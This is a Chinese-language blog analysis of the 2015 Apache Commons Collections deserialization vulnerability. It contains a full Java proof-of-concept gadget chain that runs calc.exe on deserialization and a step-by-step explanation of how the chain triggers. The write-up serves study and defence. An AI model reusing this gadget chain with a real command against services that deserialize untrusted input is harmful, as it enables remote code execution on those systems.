Apache Commons Collections反序列化漏洞

Apache Commons Collections 的反序列化漏洞在2015年被曝光,引起了广泛的关注,算是 java 历史上最出名同时也是最具有代表性的反序列化漏洞。

复现

环境准备

POC

直接看其他师傅们的POC:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class POC4 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers_exec = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };

        Transformer chain = new ChainedTransformer(transformers_exec);

        HashMap innerMap = new HashMap();
        innerMap.put("value","asdf");

        Map outerMap = TransformedMap.decorate(innerMap,null,chain);

        // 通过反射机制实例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

上面的复现使用的 payload 经过反序列化过后会执行:Runtime.getRuntime().exec("calc.exe"),造成了本地命令执行,接下来就一步步探究这个漏洞是如何产生的。

漏洞原理分析

构造反射链

看到这个POC,首先关注 InvokerTransformer 这个对象,它是执行恶意代码的主要问题所在。首先看看这个类的构造函数,其中 this.iMethodName 是方法名, this.iParamTypes 是参数类型,this.iArgs 是参数的值。

它的 transform 方法很明显调用了 java 的反射机制,传入 input 是类名,利用反射拿到类名和方法名。方法的参数和类型是我们可以通过构造函数直接传入的。现在只要 input 也是可控的,那我们就可以执行任意对象的任意方法。

我们的目标是达到远程执行命令的效果,所以现在就是想办法直接传入 Runtime 类的实例对象。

巧的是,有个类 ChainedTransformer,该类中也有一个 transform 方法:

该类的构造函数接收一个 Transformer 类型的数组,并且在 transform 方法中会遍历这个数组,并调用数组中的每一个成员的 transform 方法。

还有一个类 ConstantTransformer,它同样有一个 transform 方法,就是返回 iConstant,而 this.iConstant 又来自它的构造函数。

所以我们实例化 ConstantTransformer 时传入一个 Runtime.class 返回的也是 Runtime.class。

到这里已经介绍了三个 transfromer 类和三个 transform 方法:

InvokerTransformer ConstantTransformer ChainedTransformer
构造函数接受三个参数 构造函数接受一个参数 构造函数接受一个TransFormer类型的数组
transform方法通过反射可以执行一个对象的任意方法 transform返回构造函数传入的参数 transform方法执行构造函数传入数组的每一个成员的transform方法

现在尝试把这几个 transformer 组合起来构造一个执行链:

// TransFormer 类型的数组
Transformer[] transformers_exec = new Transformer[]{
	// 传入 Runtime 类
	new ConstantTransformer(Runtime.class),
	// 反射调用 getMethod 方法,然后 getMethod 方法再反射调用 getRuntime 方法,返回 Runtime.getRuntime() 方法
	new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
	// 反射调用 invoke 方法,然后反射执行 Runtime.getRuntime() 方法,返回 Runtime 实例化对象
	new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
	// 反射调用 exec 方法
	new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers_exec);

这样一个反射链条就构造好了,给一个初始的 object,然后输出作为下一个输入,从而实现链式调用。

大致过程如下:

  1. ChianedTransformer 的 transform 是一个循环调用该类里面的 transformer 的 transform 方法

  2. 首先调用 ConstantTransformer("java.Runtime")

  3. 第一次调用 InvokerTransformer 对象 getMethod("getRuntime",null) 方法,参数为 ("java.Runtime") 会返回一个Runtime.getRuntime()方法,但还没有执行

  4. 第二次调用 InvokerTransformer 对象 Invoke(null,null) 方法,参数为 Runtime.getRuntime(),那么会返回一个 Runtime 对象实例

  5. 第三次调用 InvokerTransformer 对象 exec("clac.exe") 方法,参数为一个 Runtime 的对象实例,调用了对象的方法,会执行弹出计算器操作

反射链就构造完毕了,现在要做的就是怎么触发 ChainedTransformer 的 transform 方法。

TransformedMap利用链

存在一些类,如 TransformedMapAnnotationInvocationHandler,重写 readObject() 方法,在反序列化时会自动执行这些方法,来达到触发 transform 方法的目的。

在 TransformedMap 类中的三个方法 transformKeytransformValuecheckSetValue 都会触发 transform 方法。

现在找到了能够触发 transform 的地方,但是这还是不能在反序列化的时候自动触发。在反序列化只会自动触发 readObject() 方法,所以现在需要找一个类重写了 readObject()。

在 TransformedMap 里的每个 entryset 在调用 setValue 方法时会自动调用 TransformedMap 类的 checkSetValue 方法。

那么就要寻找这样一个类:这个类的 readObject 方法中对某个 Map 类型的属性的 entry 进行了 setValue 操作。

恰好就有这个类 AbstractInputCheckedMapDecorator, 调用 java 的自带类 AnnotationInvocationHandler 中重写的 readObject 方法,该方法调用时会先将 map 转为 Map.entry,然后执行 setvalue 操作。

执行 setValue() 方法,就会到 checkSetValue() 方法:

到 checkSetValue() 方法,就会执行 transform 方法,从而实现整个利用链。

综上所述整个调用链:

  1. ->ObjectInputStream.readObject()

  2. ->AnnotationInvocationHandler.readObject()

  3. ->TransformedMap.entrySet().iterator().next().setValue()

  4. ->TransformedMap.checkSetValue()

  5. ->TransformedMap.transform()

  6. ->ChainedTransformer.transform()

对于 jdk 1.8 来说,AnnotationInvocationHandler 类中的这个关键的触发点 setValue 发生了改变。所以就无法利用了。

jdk 1.8 有一个 LazyMap 利用链。

参考文章:
https://esonhugh.gitbook.io/javasec/3.-apache-commonscollections-zhong-de-fan-xu-lie-hua
https://xz.aliyun.com/t/8500
https://xz.aliyun.com/t/4711


若有错误,欢迎指正!o( ̄▽ ̄)ブ

热门相关:空战英豪2006   超级融合   战国明月   腹黑大神:捡个萌宠带回家   呆萌小青梅:妖孽竹马太腹黑